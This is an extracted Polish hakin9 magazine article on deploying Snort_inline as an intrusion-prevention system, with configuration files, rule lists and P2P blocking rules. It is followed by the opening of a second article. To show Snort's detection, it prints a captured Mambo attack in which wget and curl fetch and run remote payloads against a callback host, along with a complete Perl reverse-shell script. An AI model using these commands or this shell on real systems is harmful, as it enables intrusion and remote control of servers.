hakin9 Nr 1/2007
www.hakin9.org
63
Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI
</Directory>
Ponadto, aby ustawić parametry połą-
czenia z bazą danych należy zmodyfi-
kować plik konfiguracyjny PLACID:
tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
placid/placid.py
vi /var/www/placid/
placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no
eventaltviews=yes
Do automatycznej aktualizacji reguł
zalecamy napisany w Perlu program
Oinkmaster, który pozwala nam
na zachowanie aktualności naszych
reguł dzięki pobieraniu ich kodu
z różnych źródeł: Snort VRT, spo-
łeczność Snort, społeczność ble-
eding-snort, zewnętrzne oraz wła-
sne (lokalne).
Poniżej znajdziecie instrukcję
konfiguracji Oinkmastera:
Oinkmaster.conf:
# Przykład dla Snort-current (
"current" oznacza obrazy z cvs).
url = http://www.snort.org/pub-bin/
oinkmaster.cgi/
[codicediregistrazione]/
snortrules-snapshot-
CURRENT.tar.gz
# Przykład dla reguł ze społeczności
url = http://www.snort.org/pub-bin/
downloads.cgi/Download/
comm_rules/
Community-Rules-2.4.tar.gz
# Przykład dla reguł z
# projektu Bleeding Snort
url = http://www.bleedingsnort.com/
bleeding.rules.tar.gz
# Jeżeli wolisz pobierać archiwa reguł
# nie za pomocą Oinkmastera, możesz
# wskazać mu plik na lokalnym systemie
# plików za pomocą file://<filename>,
na przykład:
# url = file:///tmp/snortrules.tar.gz
# W rzadkich przypadkach możemy chcieć
# pobierać reguły bezpośrednio z
lokalnego
# katalogu (nie należy tego mylić z
# katalogiem docelowym).
# url = dir:///etc/snort/src/rules
Rysunek 3.
Przykład sieci mieszanej
Listing 5.
Preprocesory dla sieci mieszanej
preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/
clamav, dbreload-time 43200
Rysunek 4.
Prosty obraz ekranu
hakin9 Nr 1/2007
www.hakin9.org
Obrona
64
Po automatycznej aktualizacji mo-
żemy wybrać, które reguły włączyć
bądź wyłączyć:
Oinkmaster.conf:
disabledsid [sidy reguł]
Oinkmaster umożliwia automatycz-
ną zamianę aplikacji reguł. Poniż-
sza opcja umieszczona w pliku
konfiguracyjnym zastąpi wystąpie-
nia aplikacji alert przez drop:
Oinkmaster.conf:
modifysid * "^alert" | "drop"
Efektywnym systemem zarządzania
regułami jest SRRAM, który, chociaż
cokolwiek przestarzały, pozwala na
składowanie reguł w dedykowanej
bazie danych i zarządzanie nimi po-
przez WWW, z wykorzystaniem pro-
stego skryptu przetwarzającego pliki
reguł. Patrz Rysunek 5.
Aby narzędzie to mogło pobierać
reguły z opcją drop należy zmienić
fragment jego kodu źródłowego:
rules_import.pl:
if (/^alert/) {
# jeżeli dana linia to alert
in
if (/^drop/) {
# jeżeli dana linia to drop
Aby proces importu reguł zakończył
się sukcesem musimy stworzyć ba-
zę danych, która będzie zawierać
zbiór reguł:
# mysqladmin -uroot -p create snort_
rules_mgt
A co za tym idzie, odpowiednio zmo-
dyfikować plik
rules _ import.pl
:
use DBD::mysql;
# === Modify to fit your system ===
$rules_list = 'snort_rules_file_list';
$mysql_host = 'localhost';
$mysql_port = '3306';
$mysql_db = 'snort_rules';
$mysql_user = 'root';
$mysql_passwd = 'password';
oraz skrypt cgi
rules _ mgt.pl
uru-
chamiany przez serwer WWW:
use DBI;
use DBD::mysql;
use CGI;
# === Modify to fit your system ===
$this_script='rules_mgt.pl';
$cgi_dir='cgi-bin';
$mysql_host = '127.0.0.1';
$mysql_port = '3306';
$mysql_db='snort_rules_mgt';
$mysql_user='root';
$mysql_passwd='';
Teraz wywołaj polecenie
#perl
rules _ import.pl
i skieruj swoją
przeglądarkę pod adres: http://IP/
cgi-bin/rules_mgt.pl
Kolejnym podstawowym w przy-
padku IDS / IPS narzędziem jest
PMGRAPH. Jest to prosty skrypt
napisany w Perlu generujący dwie
strony w HTML zawierające ta-
bele przedstawiające wydajność
Snorta. By mógł on działać, w pliku
konfiguracyjnym koniecznie trze-
Listing 6.
Zalecane reguły dla
sieci mieszanej
# Ogólne
include
$
RULE_PATH
/
bleeding
.
rules
include
$
RULE_PATH
/
ftp
.
rules
include
$
RULE_PATH
/
telnet
.
rules
include
$
RULE_PATH
/
dns
.
rules
include
$
RULE_PATH
/
tftp
.
rules
include
$
RULE_PATH
/
x11
.
rules
include
$
RULE_PATH
/
misc
.
rules
include
$
RULE_PATH
/
nntp
.
rules
include
$
RULE_PATH
/
other
-
ids
.
rules
include
$
RULE_PATH
/
community
-
ftp
.
rules
include
$
RULE_PATH
/
community
-
misc
.
rules
# Głównie spyware
include
$
RULE_PATH
/
bleeding
-
malware
.
rules
include
$
RULE_PATH
/
malware
.
rules
include
$
RULE_PATH
/
spyware
-
put
.
rules
include
$
RULE_PATH
/
aams7
.
rules
# Zagadnienia sieciowe
include
$
RULE_PATH
/
bad
-
traffic
.
rules
include
$
RULE_PATH
/
snmp
.
rules
# Eksploity i ataki bezpośrednie
include
$
RULE_PATH
/
exploit
.
rules
include
$
RULE_PATH
/
bleeding
-
exploit
.
rules
include
$
RULE_PATH
/
community
-
exploit
.
rules
# Skany i rozpoznania
include
$
RULE_PATH
/
scan
.
rules
include
$
RULE_PATH
/
bleeding
-
scan
.
rules
# Nietypowe
include
$
RULE_PATH
/
finger
.
rules
# R-usługi itd.
include
$
RULE_PATH
/
rpc
.
rules
include
$
RULE_PATH
/
rservices
.
rules
# DOS
include
$
RULE_PATH
/
dos
.
rules
include
$
RULE_PATH
/
ddos
.
rules
include
$
RULE_PATH
/
bleeding
-
dos
.
rules
# Związane z WWW
include
$
RULE_PATH
/
web
-
iis
.
rules
include
$
RULE_PATH
/
web
-
client
.
rules
include
$
RULE_PATH
/
web
-
php
.
rules
include
$
RULE_PATH
/
web
-
attacks
.
rules
include
$
RULE_PATH
/
bleeding
-
web
.
rules
include
$
RULE_PATH
/
community
-
web
-
dos
.
rules
include
$
RULE_PATH
/
community
-
web
-
php
.
rules
# Sygnatury SQL oraz baz danych
include
$
RULE_PATH
/
sql
.
rules
include
$
RULE_PATH
/
oracle
.
rules
Listing 7.
Zalecane reguły dla
sieci mieszanej, cd
include
$
RULE_PATH
/
mysql
.
rules
include
$
RULE_PATH
/
community
-
sql
-
injection
.
rules
# Dotyczące Windows
include
$
RULE_PATH
/
netbios
.
rules
# Odpowiedzi na kompromitację
include
$
RULE_PATH
/
attack
-
responses
.
rules
include
$
RULE_PATH
/
bleeding
-
attack_response
.
rules
# Sygnatury poczty
#include $RULE_PATH/smtp.rules
include
$
RULE_PATH
/
imap
.
rules
include
$
RULE_PATH
/
pop2
.
rules
include
$
RULE_PATH
/
pop3
.
rules
include
$
RULE_PATH
/
community
-
-
client
.
rules
# Trojany, wirusy oraz spyware
include
$
RULE_PATH
/
backdoor
.
rules
include
$
RULE_PATH
/
virus
.
rules
include
$
RULE_PATH
/
bleeding
-
virus
.
rules
include
$
RULE_PATH
/
community
-
virus
.
rules
# Sygnatury polityki
include
$
RULE_PATH
/
porn
.
rules
include
$
RULE_PATH
/
p2p
.
rules
include
$
RULE_PATH
/
bleeding
-
p2p
.
rules
include
$
RULE_PATH
/
bleeding
-
inappropriate
.
rules
include
$
RULE_PATH
/
community
-
inappropriate
.
rules
Snort_inline jako rozwiązanie
hakin9 Nr 1/2007
www.hakin9.org
65
ba uaktywnić preprocesor perfoni-
tor, z kolei do poprawnego ogląda-
nia tabel niezbędne jest narzędzie
rrdtool. Całość można bezproble-
mowo dodać do pliku crontab, jako
że generowane obrazki i strony ma-
ją charakter przyrostowy. Pmgraph
przedstawia Rysunek 6.
W przypadku konfiguracji
preprocesora: preprocessor perf-
monitor:
time 60 file /var/log/snort/
perfmon.txt pktcnt 500
uruchamiać
będziemy polecenie:
pmgraph.pl
[ścieżka do folderu, w którym
publikujemy tabele]
/var/log/snort/
perfmon.txt
.
Chcąc dodać to do crona nale-
ży zastosować następującą linijkę:
*/30 * * * * /root/pmgraph-0.2/
pmgraph.pl
[ścieżka do folderu,
w którym publikujemy tabele]
/var/
log/snort/perfmon.txt
, aby polece-
nie było wywoływane codziennie co
trzydzieści minut.
Implementacja
Snorta w trybie inline
Teraz opiszemy pokrótce, jak za-
instalować serwer IPS oparty na
Snorcie w trybie inline za pomo-
cą skryptów dostępnych na stronie
www.snortattack.org.
Zastosowanie skryptów ze snor-
tattack to najprostszy i najszybszy
sposób na rozwiązanie zależności
i określenie opcji kompilacji. Dzięki
skryptom tym można uzyskać dzia-
łający IPS w mniej niż 45 minut, co
pozwala na skoncentrowanie się na
procesach: konfiguracji i optymali-
zacji. Z drugiej strony, aby w pełni
zrozumieć implementację systemu
trzeba samodzielnie zainstalować
wszystkie różne pakiety. Zaawan-
sowanym użytkownikom polecamy
przeczytanie podręcznika użytkow-
nika instalacji krok po kroku, dostęp-
nego w sekcji dokumentacji serwi-
su snortattack, bez korzystania ze
skryptów.
Skrypty i instrukcje snortattack
automatyzują wiele procedur oraz
wyjaśniają, jak zainstalować Snort_
inline pod następującymi dystrybu-
cjami:
• Debian
• Fedora Core 2, 3, 4, 5
Podczas implementacji dystrybucji
należy wyłączyć firewall oraz seli-
nux.
Po zakończeniu implementacji
pobieramy current-attack.sh (www.
snor tattack.org /mambo /script /
current-attack.sh), zmieniamy odpo-
wiednio wartość zmiennej
SA _ DISTRO
postępując zgodnie z instrukcjami
w skrypcie.
Ustawiamy tutaj deb w przypad-
ku Debiana bądź “fc20” “fc30” “fc40”
“fc50” w przypadku odpowiednich
wersji Fedory.
Jako wartość zmiennej
SA _ DIR _
ROOT
ustawiamy pełną ścieżkę do
miejsca, w które pobierane będą
pakiety i skrypty do implementacji
Snorta. Domyślną ścieżką jest tu
/root/snortattack.
Ustawiamy wartość języka (wło-
ski bądź angielski): LANG – ita. Do-
myślnie wybrany jest włoski.
Listing 8.
Pakiety z logów Apache'a
216.63.z.z - -[28/Feb/2006:12:30:44+1300]"GET/
index2.php?option=com_content&do_pdf=1&id
=1index2.php?_REQUEST[option]=com_content
&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_
absolute_path=http://66.98.a.a/cmd.txt?&cmd
=cd%20/tmp;wget%20216.99.b.b/cback;chmod
%20744%20cback;./cback%20217.160.c.c%208081
;wget%20216.99.b.b/dc.txt;chmod%20744%20dc.txt;
perl%20dc.txt%20217.160.c.c%208081;cd%20/var/tmp;
curl%20-o%20cback%20http://216.99.b.b/cback;
chmod%20744%20cback;./cback%20217.160.c.c%
208081;curl%20-o%20dc.txt%20http://216.99.b.b/
dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217
.160.c.c%208081;echo%20YYY;echo| HTTP/1.1
"404 - "-" "Mozilla/4.0(compatible; MSIE 6.0;
Windows NT 5.1;)" "-" 0localhost
Listing 9.
Odpowiedź serwera na pytanie o tożsamość użytkownika
11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 1:40(39) ack 1
win 5840
<nop,nop,timestamp 454607 3169841954>
0x0000: 4500 005b 6f63 4000 4006 f4c6 0a00 0078 E..[oc@.@......x
0x0010: d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65 ...Z....#...m..e
0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf .....j..........
0x0030: bcef f322 7569 643d 3028 726f 6f74 2920 ..."uid=0(root).
0x0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050: 7073 3d30 2872 6f6f 7429 0a ps=0(root).
Listing 10.
Odpowiedź Snorta na przywileje roota w Mambo
11:12:56.824718 IP 10.0.x.x.514
> 10.0.y.yy.514: SYSLOG
auth.alert, length: 164
0x0000: 4500 00c0 0189 4000 4011 23d4 0a00 0078 E.....@.@.#....x
0x0010: 0a00 0059 0202 0202 00ac 2937 3c33 333e ...Y......)7<33>
0x0020: 736e 6f72 743a 205b 313a 3439 383a 365d snort:.[1:498:6]
0x0030: 2041 5454 4143 4b2d 5245 5350 4f4e 5345 .ATTACK-RESPONSE
0x0040: 5320 6964 2063 6865 636b 2072 6574 7572 S.id.check.retur
0x0050: 6e65 6420 726f 6f74 205b 436c 6173 7369 ned.root.[Classi
0x0060: 6669 6361 7469 6f6e 3a20 506f 7465 6e74 fication:.Potent
0x0070: 6961 6c6c 7920 4261 6420 5472 6166 6669 ially.Bad.Traffi
0x0080: 635d 205b 5072 696f 7269 7479 3a20 325d c].[Priority:.2]
0x0090: 3a20 7b54 4350 7d20 3130 2e30 2exx 2exx :.{TCP}.10.0.x.x
0x00a0: xxxx 3a33 3237 3730 202d 3e20 3231 372e xx:32770.->.217.
0x00b0: 3136 302e xxxx xx2e xxxx 3a38 3038 310a 160.ccc.cc:8081.
hakin9 Nr 1/2007
www.hakin9.org
Obrona
66
Po zakończeniu zmian w current-
attack.sh uruchamiamy skrypt za po-
mocą następującego polecenia:
> sh current-attack.sh
System pobierze skrypty oraz pakie-
ty niezbędne do zakończenia proce-
su instalacji do katalogu zdefiniowa-
nego w
SA _ DIR _ ROOT
. Wewnątrz te-
go katalogu zmienimy skrypt fast_in-
line.sh, który w pełni automatyzuje
instalację Snorta.
Aby instalacja przebiegła po-
prawnie musimy ustawić trochę
parametrów, które fast_inline wy-
korzysta do skonfigurowania urzą-
dzenia:
•
SA _ DIR _ ROOT
– pełna ścieżka do
miejsca, w które pobrane zostały
pakiety i skrypty,
•
MYSQLPWD
– hasło konta root w ba-
zie mysql,
•
MYSQLPWS
– hasło konta snort w
bazie mysql,
•
IP
– adres IP, który chcemy przy-
pisać urządzeniu,
•
NETMASK
– maska sieci, którą
chcemy przypisać urządzeniu,
•
GW
– adres bramy, który chcemy
przypisać urządzeniu,
•
NETWORK
– sieć, do której należy-
my,
•
BROADCAST
– wartość adresu roz-
głaszania,
•
DNS
– główny serwer DNS,
•
HOMENET
– określa tak zwaną sieć
zaufaną. Wartości w zmiennej
oddzielone są przecinkami.
Zmienne wymienione poniżej usta-
wione są domyślnie tak, by auto-
matycznie przeprowadzić wszystkie
operacje niezbędne do zainstalowa-
nia Snorta. Przyjrzyjmy się pokrótce,
co robią:
•
SA _ UPDATE
– funkcja ta dokonuje
importu listy (sources.list w przy-
padku Debiana, yum.conf w przy-
padku Fedory) i aktualizuje sys-
tem,
•
SA _ DEPS
– pobiera i instaluje za
pomocą menedżera pakietów
(apt pod Debianem, yum pod Fe-
dorą) pakiety wymagane przez
Snorta,
•
SA _ EXTRACT
– pobiera i rozpako-
wuje pakiety tar.gz, których Snort
wymaga do poprawnego działa-
nia,
•
SA _ MYSQL
– konfiguruje serwer
mysql z podanymi wcześniej ha-
słami, importuje bazę danych
Snorta oraz ustawia wymagane
uprawnienia,
•
SA _ INSTALL
– kompiluje elementy
wymagane przez Snorta, tworzy
katalogi na pliki dziennika, insta-
luje BASE, w razie potrzeby two-
rzy link do jądra itd.,
•
SA _ INLINE
– kompiluje Snort_in-
line,
•
SA _ REPORT
– instaluje Snort Re-
port,
•
SA _ PLACID
– instaluje Placid,
•
SA _ SNORT _ CONF
– ustawia w pliku
konfiguracyjnym Snorta podane
wcześniej wartości (sieć domo-
wa, hasło itd.),
•
SA _ AUTO
– powoduje uruchamia-
nie Snorta przy starcie systemu,
•
SA _ ETH
– konfiguruje interfejsy
Ethernet,
•
SA _ SET _ SCRIPT
– tworzy skrypt
uruchamiający określoną wersję
Snorta (klasyczną bądź Snort_in-
line) z podanymi wcześniej para-
metrami (ip, brama, maska, sieć
itd.),
•
SA _ START
– pozwala uruchomić
Snorta po zakończeniu instalacji,
•
SA _ EMAIL
– umożliwia wysłanie
informacji do zespołu Snortat-
tack, celem przekazania pozy-
tywnych bądź negatywnych opi-
nii na temat instalacji przy użyciu
fast_inline.sh.
Po zakończeniu instalacji należy zre-
startować komputer.
Jeżeli chodzi o skrypt fast_utility,
jest to nowy, interaktywny twór upra-
szczający typowe operacje wykony-
wane na urządzeniach IPS, jak na
przykład:
• zmianę adresu IP mostka,
• restart snorta,
• aktualizację reguł,
• tworzenie kopii zapasowej alar-
mów i czyszczenie bazy danych,
• odnotowywanie fałszywych alar-
mów,
• zmianę sieci domowej,
• zmianę rodzaju sieci (LAN DMZ
MISTA),
• zmianę hasła roota, itd.
Rysunek 5.
Obraz ekranu ze SRRAM
Listing 11.
Zalecana
konfiguracja w httpd.conf oraz
my.cnf
httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10
my.cnf :
key_buffer = 4M
max_allowed_packet = 4M
thread_stack = 32K
query_cache_limit = 104857
query_cache_size = 1677721
query_cache_type = 1
max_allowed_packet = 4M
key_buffer = 4M
Snort_inline jako rozwiązanie
hakin9 Nr 1/2007
www.hakin9.org
67
Jest zaprojektowany tak, by mógł
być również wykorzystywany jako
aplikacja konsolowa, a ponadto jest
uruchamiany przy każdym logowa-
niu się roota.
Jeżeli niektóre z wymienionych
powyżej zmiennych nie są ustawio-
ne w fast_inline, oznacza to że nie są
one niezbędne do działania skryptu.
Sugerujemy uaktywnienie domyśl-
nie zmiennej zarządzającej funkcja-
mi. Więcej informacji znaleźć moż-
na w podręczniku użytkownika na
www.snortattack.org.
Praktyczne przykłady
Wymieńmy teraz kilka technik ata-
ku, które Snort_inline może za-
uważyć za pomocą reguł i prepro-
cesorów.
Ataki wymierzone w Mambo
Celem analizowanego tutaj ataku
jest kompromitacja serwera i za-
ładowanie eksploita wykorzystu-
jącego lukę w Mambo<= 4.0.11.
W przypadku tym pakiety pobrane
zostały z logów Apache'a, jak po-
kazuje to Listing 7.
Powyższa sekwencja pozwala
załadować i uruchomić cmd.txt.
Poniżej znajdziecie ją w czytel-
niejszej formie:
cd /tmp; \
wget 216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
cd /var/tmp; \
curl -o cback http://
216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
echo YYY;echo|
A oto zawartość cmd.txt:
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET,
PF_INET, SOCK_STREAM,
getprotobyname('tcp'));
connect(SOCKET,
sockaddr_in
($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
Rysunek 6.
Stworzone przez pmgraph tabele przedstawiające wydajność
Snorta
hakin9 Nr 1/2007
www.hakin9.org
Obrona
68
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;
HISTFILE=/dev/null /bin/sh -i");
Należy odnotować, że celem powyż-
szych poleceń jest odkrycie, któ-
ry użytkownik w systemie urucha-
mia Mambo. Szybka reakcja serwe-
ra nań przedstawione jest na Listin-
gu 8.
Jeżeli zatem Mambo posiada
przywileje roota, możemy przez od-
krytą lukę uruchamiać skrypty. Re-
akcję Snorta na taki przypadek
przedstawia Listing 9.
Phishing
W dziedzinie badań naukowych
określenie phishing opisuje stu-
dium słabo znanego zagadnienia
przeprowadzone bez ściśle okre-
ślonego celu: oznacza losowe po-
szukiwanie, podobnie do rybaka
zarzucającego sieć z nadzieją zła-
pania kilku ryb. Znaczenie to po-
chodzi z 1990 roku.
Phishing w informatyce to tech-
nika inżynierii społecznej pozwala-
jąca na uzyskanie dostępu do oso-
bistych i poufnych danych, co po-
zwolić ma na kradzież tożsamości
użytkownika, za pomocą fałszy-
wych wiadomości e-mail (jak rów-
nież innych socjotechnicznych tri-
ków) skonstruowanych tak, by wy-
dawały się autentyczne. Użytkow-
nik zwiedziony takimi wiadomo-
ściami ujawnić może swoje oso-
biste dane, jak na przykład numer
konta bankowego, nazwę i hasło
użytkownika, numer karty kredy-
towej itp.
Opierając się na definicji zawar-
tej w Wikipedii opiszemy metodę
pozwalającą na rozwiązanie tego
problemu. Przedstawimy wspomnia-
ne już wcześniej, bardzo użyteczne
narzędzie, jakim jest preprocesor
Clamav, zintegrowany z dystrybucja-
mi Snort_inline.
Zasada działania tego prepro-
cesora wydaje się być bardzo pro-
sta, jednak o ile nie jest on popraw-
nie skonfigurowany jest on bezuży-
teczny. Preprocesor Clamav korzy-
sta z dbdir Clamava jako zbioru re-
guł przechwytywania dla Snorta,
pozwalając na użycie w przypad-
ku pozytywnego rozpoznania akcji
drop. Niezmiernie ważne jest stałe
dbanie o aktualność definicji Clama-
va (dbdir). Warto przy okazji wspo-
mnieć, że preprocesor ten nie speł-
nia wszystkich wspomnianych po-
wyżej reguł – jedynie phishing bądź
wirusy, które nie są zaszyfrowane
ani spakowane.
Niezależnie od powyższego ja-
sne jest, że preprocesor ten jest
idealny do blokowania ataków phi-
sherów – wiadomości ich są bo-
wiem pisane otwartym, zrozumia-
łym tekstem. Konfigurację tego
rodzaju sieci omówimy w następ-
nym akapicie.
Wymiana plików
Jak wszyscy dobrze wiemy w pry-
watnych sieciach intensywnie operu-
ją programy peer to peer.
Najpopularniejszymi klientami do
pobierania w ten sposób plików są:
Emule, Bittorrent, Gnutella, Kazaa,
Soulseek.
Najpowszechniej stosowanymi
przez tych klientów protokołami są:
• bittorrent (wykorzystywany przez
klienta bittorrent)
• eDonkey (wykorzystywany przez
klienta emule)
• fastrack (wykorzystywany przez
klienta Kazaa)
• Gnutella (wykorzystywany przez
klienta Gnutella)
• Soulseek (wykorzystywany przez
klienta Soulseek)
Celem zablokowania tego rodza-
ju klientów peer to peer należy
uaktywnić następujące zbiory re-
guł: bleeding-p2p oraz p2p. Pliki te
(
/ e t c / s n o r t _ i n l i n e / r u l e s /
bleeding-p2p.rules
.../p2p.rules
)
zawierają wszystkie najnowsze re-
guły pozwalające na ochronę sieci
przed wykorzystaniem przez szko-
dliwe programy p2p, które jak wie-
my w zdecydowanej większości
przypadków wysycają całe dostęp-
ne łącze.
Należy sprawdzić, czy zmienna
HOMENET w pliku snort_inline.conf
definiuje sieć, którą chcemy chronić
przed takimi klientami.
Reguły tego rodzaju podzielone
są według rodzaju działania. I tak,
mamy na przykład:
Wyszukiwanie plików w sieci eDon-
key:
drop udp $HOME_NET any ->
$EXTERNAL_NET 4660:4799
(msg: "BLEEDING-EDGE P2P
eDonkey Search"; content:
"|e3 0e|";
offset: 0; depth: 2;
rawbytes;classtype:
policy-violation; reference:url,
www.edonkey.com;
sid: 2001305; rev:3; )
Ruch bittorrent:
drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"BLEEDING-EDGE P2P
BitTorrent Traffic";
flow:
established;
content:
"|0000400907000000|";
offset: 0; depth: 8;
reference:
url,bitconjurer.org/BitTorrent/
protocol.html;
classtype: policy-violation;
sid: 2000357; rev:3; )
Żądanie od klienta Gnutelli:
drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"P2P GNUTella client request";
flow:to_server,established;
content:
"GNUTELLA"; depth:8;
classtype:policy-violation;
sid:1432; rev:6;)
Jeżeli chce się blokować protoko-
ły transferu plików należy uważ-
nie wybrać z ww. plików odpowied-
ni protokół, a co za tym idzie odpo-
wiednie działanie. Nie zawsze da-
je się całkowicie zatrzymać ruch
generowany przez klienta p2p,
w rzeczy samej, testy pokazały że
program Emule nie jest w stanie
Snort_inline jako rozwiązanie
hakin9 Nr 1/2007
www.hakin9.org
69
zablokować sieci kad, podczas gdy
bittorrenta ogranicza jedynie wy-
korzystanie łącza. Chociaż wspo-
mniane tu rozwiązanie nie zdoła
całkowicie zablokować tych progra-
mów, włączenie ww. reguł genero-
wać będzie regularne problemy,
które mogą zniechęcić użytkowni-
ków aplikacji do wymiany plików.
Detekcja fałszywych
alarmów: podejście
systematyczne
Teraz stworzymy metodę wykrywa-
jącą fałszywe alarmy. Opiszemy tu-
taj trzy różne scenariusze:
• fałszywe alarmy przy korzystaniu
z WWW
• fałszywe alarmy przy zatrzyma-
nej poczcie
• ogólne fałszywe alarmy (nie
WWW i nie poczta)
W pierwszym przypadku musimy
znać adres źródłowy hosta, które-
go dotknął problem, a następnie,
za pomocą podstawowego inter-
fejsu sieciowego i wykorzystując
funkcję wyszukiwania (wybrawszy
kryterium ip i wpisawszy adres w
okrągłych nawiasach) znajdujemy
go w powiadomieniach.
Znalazłszy fałszywy alarm (który
spowodował odrzucenie) mamy do
wyboru dwa możliwe rozwiązania:
• wyłączenie reguł, które go spo-
wodowały,
• dodanie źródłowego adresu
IP do zmiennej w pliku
snort _
inline.conf
określającą sieć do-
mową.
Dzięki narzędziu pmgraph możemy
śledzić statystyki ruchu na i wydaj-
ności urządzenia. Interesująca jest
tabela reprezentująca obciążenie
procesora, które mogło powodo-
wać fałszywe alarmy (w przypadku
obciążeń większych niż 70%), któ-
rych nie wyłapał BASE.
Kolejną istotną informacją przy
wyszukiwaniu fałszywych alarmów
jest liczba ataków na sekundę. Je-
żeli znajdziemy w tej tabeli wartości
większe niż 15 na sekundę, mamy do
czynienia z jednym z dwóch poniż-
szych przypadków:
• A – fałszywy alarm;
• B – atak wymierzony w host
w sieci.
Najbardziej przydatna jest tworzona
przez silnik bezpieczeństwa tabela
reprezentująca zablokowane treści.
Dzięki BASE mamy możliwość oglą-
dania szczegółów ataków, zaś opcja
plain text jest bardzo przydatna przy
przeglądaniu przechwyconego ru-
chu w formacie ASCII.
Nie jest możliwe oglądanie
przez interfejs WWW wykorzysta-
nia pamięci (chyba, że zainstaluje-
my w naszym systemie mrtg). Jest
to szczególnie ważne w przypad-
kach, gdy chcemy uruchomić dużą
liczbę reguł. Aby zapobiec awariom
naszej maszyny bądź generowa-
niu fałszywych alarmów, zalecamy
optymalizację reguł oraz demonów
takich jak Apache czy mysql (patrz
Listing 10).
Podsumowanie
Podsumowując, Snort_inline to efek-
tywny sposób na stawienie czoła
szczególnie niebezpiecznym środo-
wiskom sieciowym.
Wprawdzie nie odpowiedź na
wszelkie zło, ale jest to dobrze ułożo-
na aplikacja bezpieczeństwa – jeżeli
została zaimplementowana wedle da-
nych potrzeb.
W przypadku Snorta reguła mó-
wiąca, że „włączenie wszystkiego
czyni nasz komputer bezpieczniej-
szym”, nie ma zastosowania – każ-
da bowiem reguła może bowiem
generować fałszywe alarmy, bloku-
jące niewinny ruch w sieci bądź ge-
nerujące inne problemy. l
O autorach
Pierpaolo Palazzoli pracuje w branży bezpieczeństwa, jest absolwentem inży-
nierii telekomunikacji na Politechnice Mediolańskiej we Włoszech. Pracuje nad
Snortem od pięciu lat. Matteo Valenza pracuje w sektorze IT jako administra-
tor systemów, pracuje nad Snortem od roku. Rezultatem współpracy i wymiany
wiedzy pomiędzy Matteo a Pierpaolo jest snortattack.org. Serwis pojawił się
w sieci sześć miesięcy temu, zespół zapoczątkował go jednak przed dwoma
laty. Jego głównym atutem jest dokumentacja użytkownika oraz skrypty insta-
lacyjne dla Snorta, napisane po włosku i angielsku. Dostępne jest także aktyw-
ne forum dyskusyjne oraz lista mailingowa. Pierpaolo i Matteo planują stwo-
rzyć dzięki snortattack.org Grupę użytkowników Snorta, celem której ma być
wymiana idei związanych z programem pomiędzy jego użytkownikami we Wło-
szech i nacałym świecie.
www.snortattack.org!
W Sieci
• http://www.snort.org – Snort
• http://snort-inline.sourceforge.net -Snort_inline
• http://secureideas.sourceforge.net - Base
• http://speakeasy.wpi.edu/placid - Placid
• http://oinkmaster.sourceforge.net - Oinkmaster
• http://sourceforge.net/projects/srram - Srram
• http://people.su.se/~andreaso/perfmon-graph - Pmgraph
• http://fedora.redhat.com - Fedora
• http://www.debian.org – Debian
• http://www.mamboserver.com - Mambo
• http://www.clamav.net – Clamav
• http://www.bleedingsnort.com - Bleedingsnort
• http://www.snortattack.org – Snortattack
www.hakin9.org
hakin9 Nr 1/2007
70
Obrona
P
roblem dodatkowo komplikuje fakt, że
nowoczesne sieci dostarczają wie-
le metod dostępu i jednocześnie zło-
żone są z wielu coraz bardziej skompliko-
wanych systemów sieciowych. Każdy z nich
(w większości przypadków) działa w zupełnym
odosobnieniu, tocząc nierówną walkę, w której
broniący stale musi nadążać za atakującymi.
Z pomocą administratorom przychodzą coraz
częściej systemy badające zachowanie po-
szczególnych węzłów sieciowych na trochę
wyższym niż podstawowa diagnostyka pozio-
mie, ale są one obecnie ograniczone do rapor-
towania i sugerowania działań, a brak architek-
tury wspólnej dla całej gamy rozwiązań powo-
duje, że ich skuteczność w zestawieniu z nakła-
dami pracy administratorów jest niewielka.
Ida powstania mechanizmu DTM opiera się
na połączeniu możliwości wielu różnego rodza-
ju urządzeń rozproszonych w sieci. Architektu-
ra DTM umożliwia rozpowszechnianie w cza-
sie rzeczywistym informacji o aktualnym za-
grożeniu na kontrolowane urządzenia i w ten
sposób powstrzymanie ataku na sieć, właśnie
wybuchającą zarazę sieciową lub innego ro-
dzaju anomalię ruchową. Jeśli wysłanie infor-
macji wiązało się z uaktualnieniem konfigura-
cji urządzeń, powinny one oczywiście zostać
poinformowane po ustaniu ataku i powrócić do
pierwotnego stanu – jednocześnie raportując
te zdarzenia do systemów zarządzania.
Rozwiązania DTM
Łukasz Bromirski
stopień trudności
Obecne środowiska sieciowe stają się coraz bardziej wymagające
dla systemów bezpieczeństwa. Rosnące przepustowości
– zarówno dostępne w sieciach lokalnych jak i w styku
